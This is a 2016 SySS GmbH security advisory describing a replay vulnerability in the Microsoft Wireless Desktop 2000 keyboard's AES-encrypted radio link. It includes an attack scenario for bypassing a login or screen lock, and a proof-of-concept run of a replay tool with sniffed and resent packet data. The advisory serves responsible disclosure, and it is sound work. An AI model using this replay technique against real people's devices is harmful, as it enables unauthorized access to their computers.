Advisory ID: SYSS-2016-043 Product: Microsoft Wireless Desktop 2000 Manufacturer: Microsoft Affected Version(s): Ver. A Tested Version(s): Ver. A Vulnerability Type: Cryptographic Issues (CWE-310) Insufficient Protection against Replay Attacks Risk Level: Medium Solution Status: Open Manufacturer Notification: 2016-05-19 Solution Date: - Public Disclosure: 2016-10-05 CVE Reference: Not yet assigned Authors of Advisory: Matthias Deeg and Gerhard Klostermeier (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Microsoft Wireless Desktop 2000 is a wireless desktop set consisting of a mouse and a keyboard. The manufacturer describes the product as follows (see [1]): "This keyboard features Advanced Encryption Standard (AES) technology, which is designed to help protect your information by encrypting your keystrokes. Each keyboard is permanently paired with its receiver at the factory - no key information is ever shared over the air." Due to an insecure implementation of the encrypted data communication, the wireless keyboard Microsoft Wireless Desktop 2000 is prone to replay attacks with certain restrictions. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The SySS GmbH found out that the Microsoft Wireless Desktop 2000 keyboard is prone to replay attacks with some limitations. An attacker can sniff the AES-encrypted data packets of the 2.4 GHz radio communication sent by the keyboard to the receiver (USB dongle) and replay the recorded communication data causing the same effect as the original data communication. According to test results of the SySS GmbH, the Microsoft Wireless Desktop 2000 keyboard and its USB dongle have implemented a replay protection based on an incrementing packet counter. But the used window for valid packet counter values is large enough to perform a replay attack if there were not too many data packets caused by further keystrokes between the attacker's recording and the playback. A replay attack against the keyboard can, for example, be used to gain unauthorized access to a computer system that is operated with a vulnerable Microsoft Wireless Desktop 2000 keyboard. In this attack scenario, an attacker records the radio communication during a password-based user authentication of his or her victim, for instance during a login to the operating system or during unlocking a screen lock. At an opportune moment when the victim's computer system is unattended, the attacker approaches the victim's computer and replays the previously recorded AES-encrypted data communication for the password-based user authentication and by this gets unauthorized access to the victim's system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The SySS GmbH could successfully perform a replay attack as described in the previous section using the USB radio dongle Crazyradio PA (see [2]) and a simple proof-of-concept software tool. The following output exemplarily illustrates a replay attack with the recorded data packets for the word "test". # python simple_replay.py Simple nRF24 Replay Tool v0.1 by Matthias Deeg - SySS GmbH (c) 2016 [*] Configure radio [*] Start recording. Press to stop recording ... [+] Received data: 099816019c49e8e3d7004fb2c6d1c999c5cdd0d6 [+] Received data: 099816019c49e8e3d7004fb2c6d1c999c5cdd0d6 [+] Received data: 083816016234008e [+] Received data: 083816016234008e [+] Received data: 099816016ae20e05e28d725888c4ede685f918e7 [+] Received data: 099816016ae20e05e28d725888c4ede685f918e7 [+] Received data: 09981601896c8f035a7a800fcf0a5ba58be156e4 [+] Received data: 09981601896c8f035a7a800fcf0a5ba58be156e4 [+] Received data: 0838160164340088 [+] Received data: 0838160164340088 [+] Received data: 099816019703529705956290664c0cda94ab28b6 [+] Received data: 099816019703529705956290664c0cda94ab28b6 [+] Received data: 0998160168690f3817261c9e068577dd450a245a [+] Received data: 0998160168690f3817261c9e068577dd450a245a [+] Received data: 083816016634008a [+] Received data: 083816016634008a [+] Received data: 083816016634008a [+] Received data: 083816016634008a [+] Received data: 09981601653e89ebf7499ce2b7f962e9da48c5f4 [+] Received data: 09981601653e89ebf7499ce2b7f962e9da48c5f4 [+] Received data: 09981601f7612ae3b196b5767ab0a4dd615651e2 [+] Received data: 0838160168340084 [+] Received data: 0838160168340084 [+] Received data: 09981601db67b32134efa3fefd8b01efb124581d [+] Received data: 09981601db67b32134efa3fefd8b01efb124581d ^C [*] Stop recording [*] Press to replay the recorded data packets or to quit ... [+] Send data: 099816019c49e8e3d7004fb2c6d1c999c5cdd0d6 [+] Send data: 099816019c49e8e3d7004fb2c6d1c999c5cdd0d6 [+] Send data: 083816016234008e [+] Send data: 083816016234008e [+] Send data: 099816016ae20e05e28d725888c4ede685f918e7 [+] Send data: 099816016ae20e05e28d725888c4ede685f918e7 [+] Send data: 09981601896c8f035a7a800fcf0a5ba58be156e4 [+] Send data: 09981601896c8f035a7a800fcf0a5ba58be156e4 [+] Send data: 0838160164340088 [+] Send data: 0838160164340088 [+] Send data: 099816019703529705956290664c0cda94ab28b6 [+] Send data: 099816019703529705956290664c0cda94ab28b6 [+] Send data: 0998160168690f3817261c9e068577dd450a245a [+] Send data: 0998160168690f3817261c9e068577dd450a245a [+] Send data: 083816016634008a [+] Send data: 083816016634008a [+] Send data: 083816016634008a [+] Send data: 083816016634008a [+] Send data: 09981601653e89ebf7499ce2b7f962e9da48c5f4 [+] Send data: 09981601653e89ebf7499ce2b7f962e9da48c5f4 [+] Send data: 09981601f7612ae3b196b5767ab0a4dd615651e2 [+] Send data: 0838160168340084 [+] Send data: 0838160168340084 [+] Send data: 09981601db67b32134efa3fefd8b01efb124581d [+] Send data: 09981601db67b32134efa3fefd8b01efb124581d [*] Press to replay the recorded data packets or to quit ...^C [*] Stop replaying [*] Done. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: The SySS GmbH is not aware of a solution for this reported security vulnerability. For further information please contact the manufacturer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2016-05-19: Vulnerability reported to manufacturer 2016-05-19: Manufacturer acknowledges e-mail with SySS security advisory 2016-06-06: E-mail to manufacturer according current status 2016-06-27: Another e-mail to manufacturer according current status 2016-06-27: E-mail from manufacturer requesting further information 2016-06-28: Provided further information and PoC software tool 2016-07-07: E-mail from manufacturer with further information and question about intended disclosure 2016-07-08: E-mail to manufacturer concerning the planned responsible disclosure 2016-08-04: E-mail from manufacturer concerning limitations of actual attacks 2016-10-05: Public release of the security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Microsoft Wireless Desktop 2000 https://www.microsoft.com/accessories/en-us/products/keyboards/wireless-desktop-2000/m7j-00001 [2] Product website for Crazyradio PA https://www.bitcraze.io/crazyradio-pa/ [3] SySS Security Advisory SYSS-2016-043 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-043.txt [4] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg and Gerhard Klostermeier of the SySS GmbH. E-Mail: matthias.deeg (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Matthias_Deeg.asc Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB E-Mail: gerhard.klostermeier (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Gerhard_Klostermeier.asc Key fingerprint = 8A9E 75CC D510 4FF6 8DB5 CC30 3802 3AAB 573E B2E7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en